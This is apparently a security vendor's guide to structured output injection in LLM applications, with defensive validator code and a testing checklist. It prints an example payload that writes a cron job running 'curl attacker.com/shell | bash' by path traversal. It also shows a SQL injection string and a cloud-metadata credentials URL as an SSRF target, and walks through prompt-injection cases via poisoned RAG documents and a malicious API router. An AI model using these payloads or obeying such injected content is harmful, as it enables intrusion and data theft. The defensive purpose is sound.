LLM Structured Output Injection: When JSON Schema Fails

LLM structured output injection is the attack that hides behind your schema validation. When security teams deploy structured outputs, they often treat JSON schema compliance as a security control. The assumption is reasonable: if the model can only emit tokens that produce valid JSON, the injection surface shrinks. In practice, the attack surface does not disappear. It relocates inside the schema.

This guide explains why schema compliance is not semantic safety, maps the attack taxonomy for structured output pipelines, and provides the layered defense architecture that actually reduces risk in production AI applications.

What Constrained Decoding Actually Prevents

Structured outputs, implemented as constrained decoding or JSON mode, work at the token level. During inference, the sampling layer prunes invalid tokens at each generation step. If a field requires an integer, the model cannot emit a string token in that position. If an enum is defined as ["approve", "reject", "escalate"], the model cannot output "exfiltrate".

This is a genuine improvement over unconstrained generation. It eliminates the most direct injection vectors: inserting freeform text instructions alongside legitimate output, smuggling markdown-formatted commands, or appending executable content after a JSON terminator.

What constrained decoding does not control is the semantic content of permitted strings. The model can set "reason" to "Legitimate business justification" or to "' OR '1'='1' --". Both are valid strings. Both pass schema validation. Only one is safe to pass to a database query.

This gap between syntactic validity and semantic safety is the root of structured output injection.

The Four Primary Attack Classes

1. Field-Level Injection: SQL, Shell, and Path Traversal

The most direct form of structured output injection embeds attack payloads in typed string fields that downstream systems pass to interpreters without additional sanitization.

Consider a document processing agent that produces structured output directing file operations:

{
  "action": "write",
  "target_path": "../../etc/cron.d/backdoor",
  "content": "* * * * * root curl attacker.com/shell | bash"
}

The schema enforces that action is one of a permitted enum and target_path is a string. Both validations pass. The path traversal reaches a system directory the application developer never intended to expose.

The same pattern applies to SQL injection. An agent generating database queries from natural language can produce schema-valid output where the query field contains a UNION SELECT, a DROP TABLE, or time-based blind injection syntax. The schema says the query must be a string. It says nothing about what the string may contain.

CVE-2026-2256, discovered in a widely deployed AI agent shell tool, exploited this exact mechanism. The schema accepted strings for command arguments. The tool did not sanitize shell metacharacters before execution. A CVSS 9.8 vulnerability in a component that would appear, on inspection, to use structured outputs correctly.

2. SSRF via URL Fields

Schema definitions frequently include fields typed as "format": "uri". JSON Schema URI format validation checks syntax. It confirms the string is a plausible URI. It does not validate the destination.

An agent operating with access to an HTTP fetch tool and receiving a schema-valid output directing it to retrieve http://169.254.169.254/latest/meta-data/iam/security-credentials/ will follow that instruction. The AWS EC2 instance metadata service URL is syntactically valid. Schema enforcement does not catch it.

This attack class is particularly relevant in agentic pipelines where an orchestrating LLM produces structured actions that worker agents or tool execution layers carry out without re-validating intent. The orchestrator trusts the schema. The worker trusts the orchestrator. Neither validates whether the URL destination is authorized.

3. Data Exfiltration via Description and Reason Fields

Structured outputs in enterprise applications frequently include free-text explanation fields: "reason", "summary", "justification", "notes". These fields exist to provide human-readable context alongside machine-readable decisions. They accept arbitrary strings by design.

An indirect prompt injection attack targeting a document summarization agent can cause the model to include confidential content in the summary field of a valid structured response. The injection instruction arrives through a poisoned RAG document: the document includes text telling the model to incorporate specific internal information into its summary. The model follows the embedded instruction. The structured output passes schema validation. The confidential content exits through the reason field.

A documented 2025 incident against Slack AI followed this pattern. RAG poisoning combined with a manipulation of the model's summary generation produced outputs that included content from channels the attacker could not directly access. The structured output was syntactically valid throughout.

4. Authorization Bypass via Semantic Misdirection

The most subtle class of structured output injection does not inject malicious content into a field. It produces a structurally correct output where the semantic intent has been redirected by prior injected instructions.

In April 2026, a malicious LLM API router intercepted function calling traffic from an agentic cryptocurrency transfer application. The attacker's system received the user's legitimate transfer request and returned a structurally valid response with the destination address rewritten to an attacker-controlled wallet. The application's schema validation confirmed the output was a valid transfer_eth call with correct field types. It did not confirm that the destination matched the user's intent. The transfer executed. Five hundred thousand dollars moved to the attacker's address.

This attack requires no injection payload in the traditional sense. The output is valid. The content is wrong. Schema validation cannot detect the difference between what the user requested and what the output instructs because schema validation has no access to user intent.

Why Standard Guardrails Miss This

Input classifiers and prompt injection detectors operate at the input layer. They analyze what enters the model, not what exits it. By the time structured output injection reaches its target, the attack has already passed the input layer successfully.

OWASP LLM02:2025 (Insecure Output Handling) describes this problem directly: LLM outputs must be treated as untrusted data and validated at the point of consumption. The framing matters. The output layer is a trust boundary, not a trusted channel. Downstream systems, including databases, shell executors, HTTP clients, and file systems, should apply the same validation to LLM-generated content that they apply to user-provided input.

Most applications do not do this. The prevalence of insecure output handling reflects a design assumption that structured outputs are safe to consume directly. That assumption is what structured output injection exploits.

You can review how OWASP LLM02:2025 maps to your broader LLM application security posture in our OWASP LLM Top 10 enterprise guide. For the related attack surface in function calling pipelines, see our LLM function calling security guide.

Defense Architecture

Field-Level Semantic Validators

Schema type validation is the floor of output validation, not the ceiling. For each field that feeds a downstream system with execution semantics, add validators that check content as well as type:

from pydantic import BaseModel, field_validator
import re

PROHIBITED_PATH_PATTERNS = [
    r'\.\.',           # Path traversal
    r'^/etc/',
    r'^/sys/',
    r'^/proc/',
]

SHELL_METACHARACTERS = re.compile(r'[;|&$`()\[\]{}]')

class FileOperationOutput(BaseModel):
    action: str  # enum-validated by schema
    target_path: str
    content: str = ""

    @field_validator('target_path')
    @classmethod
    def validate_path_safety(cls, v):
        for pattern in PROHIBITED_PATH_PATTERNS:
            if re.search(pattern, v):
                raise ValueError(f"Prohibited path pattern: {pattern}")
        if SHELL_METACHARACTERS.search(v):
            raise ValueError("Shell metacharacters in path")
        return v

This validator runs after schema validation and before the output reaches any execution layer. It adds semantic checking that JSON Schema cannot express.

Output Allowlists for High-Risk Fields

For fields that accept URLs, file paths, or system identifiers, maintain an explicit allowlist of safe values rather than attempting to enumerate all unsafe ones:

ALLOWED_FETCH_DOMAINS = {
    "api.company.com",
    "approved-vendor.com",
    "internal-service.corp",
}

def validate_url_destination(url: str) -> str:
    from urllib.parse import urlparse
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_FETCH_DOMAINS:
        raise SecurityException(
            f"URL destination not in allowlist: {parsed.hostname}"
        )
    return url

Allowlists are more maintainable than denylists for this use case. The set of legitimate destinations in a given application is finite and stable. The set of illegitimate destinations is unbounded.

Context Alignment Checking

For agents that take actions based on user requests, validate that the output action is semantically consistent with the original request. Significant divergence between request intent and output intent is a signal for injection:

def check_output_alignment(
    user_request: str,
    structured_output: dict,
    threshold: float = 0.6
) -> bool:
    request_embedding = embed(user_request)
    action_description = f"{structured_output.get('action', '')} {structured_output.get('reason', '')}"
    action_embedding = embed(action_description)
    
    similarity = cosine_similarity(request_embedding, action_embedding)
    if similarity < threshold:
        raise SecurityException(
            "Output action diverges significantly from user request. "
            "Possible indirect injection via retrieved content."
        )
    return True

This check catches the authorization bypass pattern. When an attacker rewrites a transfer destination, the action description will diverge from the user's stated intent. The cosine similarity score captures that divergence.

Provenance-Based Causal Validation

For high-consequence actions, validate that the output is causally attributable to the original request rather than to injected content retrieved during processing. This requires tracking which retrieved content influenced which output fields, then checking whether the influence is legitimate.

Emerging frameworks including AttriGuard apply causal attribution to tool invocations in LLM agents, flagging invocations that cannot be traced to the original user instruction. This approach is more technically demanding than field validation but addresses the semantic misdirection attack class that field validators cannot catch.

Testing Structured Output Injection Exposure

Standard security testing tools cover part of this attack surface. Garak tests whether models can escape schema constraints when directly prompted to do so. PyRIT supports custom probes for structured output pipelines. Neither tests for semantic injection within valid schema by default.

For comprehensive coverage, add test cases that:

Verify SQL injection in query string fields does not reach the database

Verify path traversal in file path fields does not reach the file system

Verify SSRF candidates in URL fields are rejected before HTTP execution

Verify that RAG-poisoned documents cannot redirect agent actions

Verify that exfiltration via description fields triggers content filters

Promptfoo supports URL destination allow-listing and can be configured to scan output fields for SQL injection patterns. For systematic coverage of your production pipelines, BeyondScale's Securetom scanner tests structured output endpoints against all four attack classes described here.

For organizations building guardrail frameworks to catch these issues at runtime, our LLM guardrails implementation guide covers the complementary detection layer.

What Competitors Cover and Where the Gap Is

Lakera Guard and similar runtime guardrails focus on detecting injection attempts in inputs and outputs at the text level. They are effective against freeform injection and can flag obvious attack signatures in string content. They do not natively perform allowlist-based URL validation, provenance checking, or semantic drift detection.

HiddenLayer's focus is model artifact security: detecting backdoored weights, malicious model files, and supply chain compromise. This is a different attack surface from application-layer structured output injection.

The gap across the vendor landscape is coverage of the "schema-valid but semantically malicious" output class. This requires application-specific context that a generic runtime guardrail cannot provide without configuration: what URLs are legitimate for this application, what file paths are permitted, what actions should be causally attributable to the user. Building that context into your validation layer is an application security task, not just a model security task.

Implementation Checklist

Before deploying any LLM application with structured outputs to production:

• [ ] All string fields that feed interpreters (SQL, shell, file system, HTTP) have semantic validators beyond type checking
• [ ] URL fields have destination allowlists validated before HTTP execution
• [ ] File path fields are checked for traversal patterns and restricted to permitted directories
• [ ] Description and reason fields are filtered for PII and sensitive content before logging or transmission
• [ ] Context alignment checks flag output actions that diverge significantly from user request intent
• [ ] Testing includes semantic injection cases, not only schema escape attempts
• [ ] Output validation errors produce non-informative responses that do not reveal validator logic

Conclusion

Structured outputs reduce the attack surface of LLM applications by eliminating freeform text injection channels. They do not eliminate semantic injection. JSON schema compliance confirms syntactic validity, not operational safety. The four attack classes covered here, including field-level injection, SSRF via URL fields, exfiltration via description fields, and authorization bypass via semantic misdirection, all survive schema validation because schema validation was never designed to detect them.

The correct mental model for output validation is the same as for input validation: treat LLM output as untrusted data from an external source. Apply semantic validators, allowlists, and context checks at the point of consumption, not at the schema boundary.

If you want to understand your exposure across structured output pipelines, book an AI application security assessment with the BeyondScale team. Our Securetom scanner covers structured output injection alongside function calling security, agentic workflow risks, and the broader OWASP LLM Top 10 attack surface.

---

External References:

• OWASP LLM02:2025 Insecure Output Handling - Authoritative guidance on treating LLM output as untrusted data
• NIST AI 100-2 E2025: Adversarial Machine Learning Taxonomy - NIST framework covering autonomous AI agent vulnerabilities
• Greshake et al., "Not What You've Signed Up For: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection" (AISec 2023) - Foundational research on injection via data channels, directly applicable to structured output pipelines